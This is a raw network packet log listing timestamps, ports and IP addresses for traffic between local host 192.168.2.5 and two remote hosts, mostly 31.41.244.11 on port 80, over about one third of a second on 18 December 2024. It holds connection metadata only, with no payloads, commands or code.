Dec 18, 2024 19:08:31.414587021 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.414730072 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.414791107 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.416369915 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.416426897 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.416505098 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.416662931 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.417897940 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.417960882 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.417968035 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.418014050 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.419562101 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.419605970 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.419632912 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.419758081 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.425462008 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.425559998 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.425568104 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.425617933 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.426045895 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.426084995 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.426126957 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.426137924 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.426182032 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.426440001 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.426486015 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.426928043 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.426995993 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.427047014 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.429590940 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.429647923 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.429698944 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.429742098 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.429790974 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.429968119 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.430031061 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.531502008 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.531584978 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.531707048 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.531833887 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.532198906 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.532321930 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.532397032 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.533956051 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.534015894 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.534022093 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.534086943 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.535538912 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.535629034 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.535689116 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.537177086 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.537235975 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.537301064 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.537358046 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.538903952 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.538964987 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.539005995 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.539057970 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.540558100 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.540620089 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.540657043 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.540713072 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.542439938 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.542491913 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.542685986 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.542737007 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.543884039 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.543947935 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.544006109 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.544138908 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.545605898 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.545659065 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.545676947 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.545733929 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.547224045 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.547292948 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.547326088 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.547394037 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.550164938 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.550244093 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.550285101 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.550337076 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.550651073 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.550699949 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.550787926 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.550843000 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.552475929 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.552539110 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.552583933 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.552750111 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.553925991 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.553988934 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.554018974 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.554064035 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.555608988 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.555660963 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.555921078 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.555977106 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.557272911 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.557326078 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.557372093 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.557420015 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.558942080 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.559024096 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.559081078 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.560642004 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.560704947 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.560791016 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.560925007 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.562263012 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.562319994 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.562359095 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.562437057 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.583889961 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.583901882 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.583965063 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.584379911 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.584553957 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.584608078 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.585906029 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.585957050 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.586008072 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.586500883 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.587629080 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.587685108 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.587750912 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.587805033 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.589246035 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.589303017 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.589390993 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.589441061 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.590523958 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.590642929 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.590691090 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.591809988 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.591903925 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.592473984 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.593085051 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.593214989 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.593275070 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.594439983 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.594633102 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.594688892 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.595675945 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.595729113 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.595969915 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.597122908 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.597177029 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.597209930 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.598356009 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.598407984 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.598443031 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.598490953 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.599531889 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.599628925 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.599684954 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.600971937 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.601106882 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.601171017 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.602159977 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.602211952 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.602277040 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.603435993 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.603491068 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.603528023 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.604741096 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.604793072 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.604829073 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.604875088 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.606039047 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.606153011 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.606203079 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.607227087 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.607328892 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.607377052 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.608505964 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.608555079 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.608594894 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.609842062 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.609904051 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.609932899 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.610337973 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.611148119 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.611207008 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.611259937 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.612351894 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.612512112 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.612565041 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.613676071 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.613750935 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.613796949 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.614912033 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.615045071 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.615098000 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.616214037 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.616264105 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.616307020 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.617468119 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.617520094 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.617618084 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.618799925 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.618869066 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.618905067 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.618952036 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.620045900 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.620174885 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.620238066 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.621351004 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.621546984 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.621596098 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.622736931 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.622790098 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.622837067 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.623915911 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.623967886 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.624044895 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.625230074 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.625278950 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.625380039 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.625428915 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.626434088 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.627661943 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.723512888 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.723599911 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.723717928 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.723769903 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.724126101 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.724181890 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.724265099 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.724370956 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.725214958 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.725266933 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.725354910 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.725405931 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.726563931 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.726613045 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.726689100 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.726737022 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.727618933 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.727672100 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.727722883 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.727771997 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.728934050 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.728985071 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.729074955 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.729124069 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.730009079 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.730066061 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.730139971 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.730186939 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.731165886 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.731216908 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.731254101 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.731302023 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.732295036 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.732348919 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.732394934 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.732446909 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.733449936 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.733505011 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.733542919 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.733598948 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.734669924 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.734724998 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.734852076 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.734904051 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.736221075 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.736273050 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.736296892 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.736363888 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.736984968 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.737036943 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.737072945 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.737123966 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.738164902 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.738215923 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.738295078 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.738348961 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.739326000 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.739382029 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.739528894 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.739579916 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.740505934 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.740557909 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.740587950 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.740641117 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.741764069 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.741811037 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.741900921 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.741947889 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.742863894 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.742923975 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.742955923 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.743005037 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.744004011 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.744059086 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.744108915 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.744160891 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.745233059 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.745286942 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.745302916 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.745352030 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.746383905 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.746436119 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.746501923 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.746568918 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.747589111 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.747642994 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.747713089 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.747766018 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.748389006 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.748507977 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.748589039 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.748665094 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.748733997 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.748801947 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.748819113 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.749007940 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.749089956 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.749180079 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.749228954 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.749933004 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.749982119 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.750044107 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.750091076 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.751132011 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.751183987 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.751271963 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.751349926 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.752324104 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.752398968 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.752453089 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.753439903 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.753551006 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.753612041 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.754673004 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.754802942 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.754872084 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.755800962 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.755856991 CET	49726	80	192.168.2.5	31.41.244.11
